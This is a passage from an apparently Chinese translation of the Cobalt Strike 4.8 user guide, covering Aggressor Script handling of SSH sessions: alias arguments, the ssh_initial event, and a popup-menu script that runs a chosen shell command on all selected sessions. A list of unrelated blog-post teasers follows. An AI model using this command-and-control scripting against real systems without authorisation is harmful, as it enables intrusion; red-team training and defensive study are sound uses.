是输入别名的会话 ID
。参数 $2
和on
包含传递给别名的单个参数。别名解析器用空格分割参数。用户可以使用 “双引号 ”将单词组合成一个参数。
你还可以使用 SSH
控制台的帮助系统注册你的别名。使用 &ssh_command_register
注册命令。
响应新的 SSH 会话
Aggressor
脚本也可以对新的 SSH
会话做出反应。使用 ssh_initial
事件来设置 SSH
会话传入时应运行的命令。
on ssh_initial {# do some stuff
}
ssh_initial
的$1
参数是新会话的 ID
。
弹出菜单
你还可以在 SSH
弹出菜单中添加项目。ssh
弹出钩子允许你向 SSH
菜单添加项目。 SSH
弹出菜单的参数是选定会话 ID
的数组。
popup ssh {item "Run All..." {prompt_text("Which command to run?", "w", lambda({binput(@ids, "shell $1");bshell(@ids, $1);}, @ids => $1));}
}
你会发现,这个例子与 Beacon
章节中的例子非常相似。例如,使用 &binput
向 SSH
控制台发布输入。使用 &bshell
来指定 SSH
会话运行命令。这些都是正确的。请记住,在Cobalt Strike/Aggressor
脚本的大部分功能中,SSH
会话就是Beacon
会话。
# 说明
本文由笔者在Cobalt Strike官方用户指南原文(https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/welcome_main.htm)基础上编译,如需转载请注明来源。
相关文章:
Cobalt Strike 4.8 用户指南-第十四节 Aggressor 脚本
14.1、什么是Aggressor脚本 Aggressor Script 是Cobalt Strike 3.0版及更高版本中内置的脚本语言。Aggressor 脚本允许你修改和扩展 Cobalt Strike 客户端。 历史 Aggressor Script 是 Armitage 中开源脚本引擎Cortana的精神继承者。Cortana 是通过与 DARPA 的网络快速跟踪计…...
【Qt】QWidget中的常见属性及其功能(二)
目录 六、windowOpacity 例子: 七、cursor 例子: 八、font 九、toolTip 例子: 十、focusPolicy 例子: 十一、styleSheet 计算机中的颜色表示 例子: 六、windowOpacity opacity是不透明度的意思。 用于设…...
对象的克隆 单例模式
1) 如何实现对象的克隆? 1、为什么需要实现对象的克隆? 在某些情况下,需要创建一个与现有对象完全相同的副本,这就是对象克隆。 例如,在需要对对象进行备份、在不同的上下文中使用相同的类型的对象或者实现某些设计…...
预处理内容
预处理是干什么的呢? 分为三点: 1.宏替换 2.头文件导入 3.删除注释 #ifdef #include <iostream> // 定义一个宏,表示当前处于调试模式,在实际调试时可以定义这个宏,发布时取消定义#define DEBUG MODE int ma…...
Docker笔记
1 安装docker b11et3un53m.feishu.cn/wiki/Rfocw7ctXij2RBkShcucLZbrn2d 项目的资料地址(飞书) 当使用docker pull +名字 拉取镜像时报 Error response from daemon: Get "https://registry-1.docker.io/v2/": net/http: request canceled while waiting for co…...
条件随机场(CRF)详解:原理、算法与实现(深入浅出)
目录 1. 引言2. 什么是条件随机场?2.1 直观理解2.2 形式化定义 3. CRF的核心要素3.1 特征函数3.2 参数学习 4. 实战案例:命名实体识别5. CRF vs HMM6. CRF的优化与改进6.1 特征选择6.2 正则化 7. 总结与展望参考资料 1. 引言 条件随机场(Conditional Ra…...
C++类与对象学习笔记(一)
https://www.bilibili.com/video/BV1jm4y1w7pa?spm_id_from333.788.player.switch&vd_sourcee8984989cddeb3ef7b7e9fd89098dbe8&p6 🚩🚩🚩来自b站“码农论坛”的视频“类与对象”做的笔记🚩🚩Ὢ…...
wrk如何测试post请求
wrk git地址 https://github.com/wg/wrk wrk 默认是针对 GET 请求的,但它也可以通过添加自定义的 HTTP 请求体和 头部信息来进行 POST 请求的压测。以下是详细的步骤: wrk -t4 -c100 -d30s -s post.lua http://example.com-t4:使用 4 个线…...
rust使用log与env_logger两个crate实现同时向控制台和文件输出日志。并在隔日自动创建新日志文件。
还是老习惯,不用太多的废话。直接上代码。 不过我之说一句话,这块需要自定义一个输出的Target来实现这个功能。 log = { version="0.4.22", default-features = false } env_logger = "0.11.5"pub(crate) fn setup_log_env(log_level: LevelFilter) {...
异步将用户信息存入 Redis 缓存
主要是为了解决Redis的缓存问题,异步将用户信息存入Redis缓存 首先我们需要引入一部线性池 核心概念 异步执行: 异步执行是指任务提交后不会立即等待其完成,而是立即返回并继续执行其他任务。任务将在后台执行,执行结果可以通过…...
WebRTC服务质量(05)- 重传机制(02) NACK判断丢包
WebRTC服务质量(01)- Qos概述 WebRTC服务质量(02)- RTP协议 WebRTC服务质量(03)- RTCP协议 WebRTC服务质量(04)- 重传机制(01) RTX NACK概述 WebRTC服务质量(…...
MySQL 存储过程与函数:增强数据库功能
一、MySQL 存储过程与函数概述 (一)存储过程的定义与特点 存储过程是一组预编译的 SQL 语句集合,它们被存储在数据库中,可根据需要被重复调用。例如,在一个电商系统中,经常需要查询某个时间段内的订单数据…...
丹摩|丹摩助力selenium实现大麦网抢票
丹摩|丹摩助力selenium实现大麦网抢票 声明:非广告,为用户体验 1.引言 在人工智能飞速发展的今天,丹摩智算平台(DAMODEL)以其卓越的AI算力服务脱颖而出,为开发者提供了一个简化AI开发流程的强…...
springcloud-gateway获取应用响应信息乱码
客户端通过springcloud gateway跳转访问tongweb上的应用,接口响应信息乱码。使用postman直接访问tongweb上的应用,响应信息显示正常。 用户gateway中自定义了实现GlobalFilter的Filter类,在该类中获取了上游应用接口的响应信息,直…...
Scala项目(一)
1,创建dao,models,service,ui等软件包 2,在各软件包下创建scala类 软件包dao里的代码 package org.app package daoimport models.BookModelimport scala.collection.mutable.ListBuffer//图书,数据操作…...
node(2) - npm run 原理
1. npm run 执行原理 npm run 命令的原理是执行 package.json 文件中定义的脚本。当你在命令行中运行 npm run 时,npm 会查找 package.json 文件中的 scripts 字段,然后执行对应的脚本命令。 2. 示例 2.1 以 dev:weapp 为例 运行 npm run dev:weapp 命令;npm 会查找 packa…...
概率论得学习和整理24:EXCEL的各种图形,统计图形
目录 0 EXCEL的各种图形,统计图形 1 统计图形 / 直方图 / 其实叫 频度图 hist最合适(用原始数据直接作图) 1.1 什么是频度图 1.2 如何创建频度图,一般是只选中1列数据(1个数组) 1.3 如何修改频度图的宽度 1.4 hist图的一个特…...
【zlm】 webrtc源码讲解三(总结)
目录 setsdp onwrite 编辑 play 参考 setsdp onwrite play 参考 【zlm】 webrtc源码讲解_zlm webrtc-CSDN博客 【zlm】 webrtc源码讲解(二)_webrtc 源码-CSDN博客...
YashanDB共享集群产品能力观测:细节足见功底
本文基于前泽塔数科研发总监-王若楠2024年11月在“2024年国产数据库创新生态大会”-“根”技术专场的演讲整理形成,主要对崖山共享集群YAC的架构、功能、高可用性、性能四大方面进行全面测试,并分享了测试环境和测试结论。 年初,基于某些商业…...
游戏引擎学习第50天
仓库: https://gitee.com/mrxiao_com/2d_game Minkowski 这个算法有点懵逼 回顾 基本上,现在我们所处的阶段是,回顾最初的代码,我们正在讨论我们希望在引擎中实现的所有功能。我们正在做的版本是初步的、粗略的版本,涵盖我们认…...
前端部署实战:从人工发布到全自动化流程
"又发错环境了!"周四下午,测试同学小李急匆匆地找到我。原来是开发人员手动部署时,不小心把测试代码发布到了生产环境。这已经是本月第二次类似的事故了。 回想起每次发布时的场景:手动打包、手动上传、手动替换文件...每一步都战战兢兢,生怕…...
JVM系列之内存区域
每日禅语 有一位年轻和尚,一心求道,多年苦修参禅,但一直没有开悟。有一天,他打听到深山中有一古寺,住持和尚修炼圆通,是得道高僧。于是,年轻和尚打点行装,跋山涉水,千辛万…...
如何用3个月零基础入门网络安全?_网络安全零基础怎么学习
🤟 基于入门网络安全/黑客打造的:👉黑客&网络安全入门&进阶学习资源包 前 言 写这篇教程的初衷是很多朋友都想了解如何入门/转行网络安全,实现自己的“黑客梦”。文章的宗旨是: 1.指出一些自学的误区 2.提供…...
易语言OCR证件照文字识别
一.引言 文字识别,也称为光学字符识别(Optical Character Recognition, OCR),是一种将不同形式的文档(如扫描的纸质文档、PDF文件或数字相机拍摄的图片)中的文字转换成可编辑和可搜索的数据的技术。随着技…...
【人工智能】基于Python的自然语言处理:深入实现文本相似度计算
解锁Python编程的无限可能:《奇妙的Python》带你漫游代码世界 文本相似度计算是自然语言处理(NLP)中的核心任务,广泛应用于搜索引擎、推荐系统、问答系统等领域。本文全面解析文本相似度计算的核心技术,使用Python中的spaCy和sentence-transformers库实现多种方法,包括基…...
基于wifi的火焰报警系统设计(论文+源码)
1 总体方案设计 在本次基于wifi模板的火焰报警系统中,整个系统架构如图2.1所示,其采用STM32F103单片机作为控制器,并结合DS18B20温度传感器,火焰传感器,ESP8266 WiFi通信模块,蜂鸣器,OLED液晶构成整个系统,…...
【第三节】Git 基本操作指南
目录 前言 一、获取与创建项目 1.1 git init 1.2 git clone 二、基本快照操作 2.1 git add 2.2 git status 2.3 git diff 2.4 git commit 2.5 git reset HEAD 三、 文件管理 3.1 git rm 3.2 git mv 四、Git 文件状态 5.1 工作目录 5.2 暂存区 5.3 本地仓库 5…...
GaLore和Q-GaLore:一种记忆高效的预训练和微调策略,用于大型语言模型(LLMs)
GaLore和Q-GaLore:一种记忆高效的预训练和微调策略,用于大型语言模型(LLMs) GaLore和Q-GaLore的设计背景、工作原理及其优势 设计背景 随着大型语言模型(LLMs)的发展,模型的规模和复杂性不断…...
免费开源了一个图床工具 github-spring-boot-starter
文章目录 第一步,新建一个SpringBoot项目第二步,在pom文件里面引入jar包第三步,配置你的github信息github.authorization1、进入github官网,登录账号,点击头像,选择setting2、选择[Developer Settings](htt…...
Android显示系统(13)- 向SurfaceFlinger提交Buffer
Android显示系统(01)- 架构分析 Android显示系统(02)- OpenGL ES - 概述 Android显示系统(03)- OpenGL ES - GLSurfaceView的使用 Android显示系统(04)- OpenGL ES - Shader绘制三角…...
python小课堂(一)
基础语法 1 常量和表达式2 变量和类型2.1 变量是什么2.2 变量语法 3 变量的类型3.1 动态类型特性 4 注释4.1注释是什么 5 输入输出5.1 print的介绍5.2 input 6 运算符6.1 算术运算符在这里插入图片描述6.2 关系运算符6.3 逻辑运算符6.4赋值运算符 1 常量和表达式 在print()中可…...
【原创教程】西门子1500TCP_UDP通信说明大全(下篇)
2.3.3 TRCV故障说明 通讯无法正常连接时,ERROR引脚和STATUS引脚得状态有助于我们判断错误得原因,根据下表得提示,快速排除问题。 2.3.4 TRCV使用 点击TRCV指令得右上角蓝色图标,打开开始组态画面,按照控制要求填写 EN_R:用于激活接收的控制参数,及何时使用TRCV的接收功…...
【报错记录】Ubuntu22.04解决开机卡在 /dev/sda5 : clean , *files , *blocks
一个愿意伫立在巨人肩膀上的农民...... 一、错误现象 本人的电脑安装Windows10和Ubuntu22.04双系统,一次训练中电脑死机无法开机,重启之后便出现如下错误,在网上寻找过很多方法均无效,在root下禁用了samba服务,也无济…...
JumpServer开源堡垒机搭建及使用
目录 一,产品介绍 二,功能介绍 三,系统架构 3.1 应用架构 3.2 组件说明 3.3 逻辑架构 3.3 逻辑架构 四,linux单机部署及方式选择 4.1 操作系统要求(JumpServer-v3系列版本) 4.1.1 数据库 4.1.3创建数据库参考 4.2 在线安装 4.2.1 环境访问 4.3 基于docker容…...
libilibi项目总结(17)Elasticsearch 的使用
这段代码定义了一个 EsSearchComponent 类,主要用于与 Elasticsearch 进行交互,执行一些基本的操作,如创建索引、保存、更新和删除文档,及搜索操作。以下是对每部分代码的详细解释: 1. 类的依赖注入 Resource privat…...
C++ 模版函数 函数模版 区别
C中,函数模板(Function Template)和模板函数(Template Function)是同一个概念,通常没有区分,但为了避免混淆,有时我们可以从不同的角度来看待它们。 1. 函数模板 (Function Templat…...
SpringBoot 3.4.x踩坑记录及解决方案(持续更新)
废话 最近使用JDK17Spring Boot3.4.0 做新项目遇到的一些坑,记录并且给出一些实际的解决方案 一、集成Mybatis Plus 3.5.9的问题 第一:不能只引入mybatis-plus-spring-boot3-starter依赖了,需要配合mybatis-plus-jsqlparser <dependenc…...
Linux文件属性 --- 七种文件类型---文件.目录、软硬链接、字符设备文件
目录 七种文件类型 1、普通文件和目录 2、链接文件 2.1硬链接 2.2软链接 3、字符设备文件 一、七种文件类型 Linux的文件属性中一共有以下七种类型 : 符号类型含义解释-普通文件纯文本文件(ASCII)和二进制文件(binaryÿ…...
C# 读取EXCEL的数据批量插入单个PDF里的多个位置
C# 读取EXCEL的数据批量插入单个PDF里的多个位置 using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Diagnostics; using System.Drawing; using System.IO; using System.Linq; using System.Reflection; usin…...
ARM Linux 虚拟环境搭建
一、目标 在没有arm硬件的情况下,使用QEMU模拟器,在PC上模拟一块ARM开发板,对ARM Linux进行学习。 二、搭建步骤 首先先有一个Linux 开发环境,我目前使用的是Ubuntu20. 首先安装qemu,qemu的官网:https:…...
【功能安全】安全确认
目录 01 功能安全确认介绍 02 安全确认用例 03 安全确认模板 01 功能安全确认介绍 定义: 来源...
LruCache(本地cache)生产环境中遇到的问题及改进
问题:单机qps增加时请求摘要后端,耗时也会增加,因为超过了后端处理能力(最大qps,存在任务堆积)。 版本一 引入LruCache。为了避免数据失效,cache数据的时效性要小于摘要后端物料的更新时间&…...
【21天学习AI底层概念】day8 什么是类意识?
类意识(Quasi-Consciousness) 是一个用来描述人工智能或复杂系统表现出的类似意识的行为或特性的概念。虽然这种系统不具备真正的意识(即主观体验、情感和自我觉知),但在外部表现上,它们可能表现出与有意识…...
PostgreSQL JSON/JSONB 查询与操作指南
PostgreSQL 提供了强大的 JSON 和 JSONB 数据类型及相关操作,适用于存储和查询半结构化数据。本文将详细介绍其常用操作。 1. 基础操作 1.1 JSON 属性访问 ->: 返回 JSON 对象中的值,结果为 JSON 格式。 SELECT {"a": {"b": 1…...
SamOutV2 0.18B模型发布
项目地址 SamOutV2 0.18B模型 采取 em参数共享在参数量减半的情况下将维度从1024 拉升到了1536sft 单论对话 loss 保持1.8如果未来匹配state 推理代码性能不变的同时推理任意长度使用资源空间保持不变 模型代码 import torchclass MaxState(torch.nn.Module):def __init__(…...
〔 MySQL 〕事务管理
事务代码目录 1. 设置事务隔离级别 2. 开启事务 3. CRUD操作 3.1 创建(Create) 3.2 读取(Read) 3.3 更新(Update) 3.4 删除(Delete) 4. 提交或回滚事务 5. 示例:…...
centOS定时任务-cron服务
最近在训练模型的过程中,经常会因为内存爆炸而停止模型训练过程,而且因为内存占满停止的训练进程甚至都没有任何的报错提示。 1、需要减少num_worker的数量,降低需要占用内存的数据数量 2、可以通过free -h监控内存的占用情况 3、可以通过lin…...
ubuntu22.04.5本地apt源部署
很多情况下,内网服务器无法连接互联网,这样如果原始系统只是最基本的下载安装包,因为存在依赖包不全的情况,难以对其进行更新及通过apt安装包 所以为解决不能联网的问题,首先先通过可以联网的机器制造好源,…...
CSS 实现带tooltip的slider
现代 CSS 强大的令人难以置信 这次我们来用 CSS 实现一个全功能的滑动输入器,也就是各大组件库都有的slider,效果如下 还可以改变一下样式,像这样 特别是在拖动时,tooltip还能跟随拖动的方向和速度呈现不同的倾斜角度,…...
【LeetCode每日一题】——220.存在重复元素 III
文章目录 一【题目类别】二【题目难度】三【题目编号】四【题目描述】五【题目示例】六【题目提示】七【解题思路】八【时空频度】九【代码实现】十【提交结果】 一【题目类别】 数组 二【题目难度】 困难 三【题目编号】 220.存在重复元素 III 四【题目描述】 给你一个…...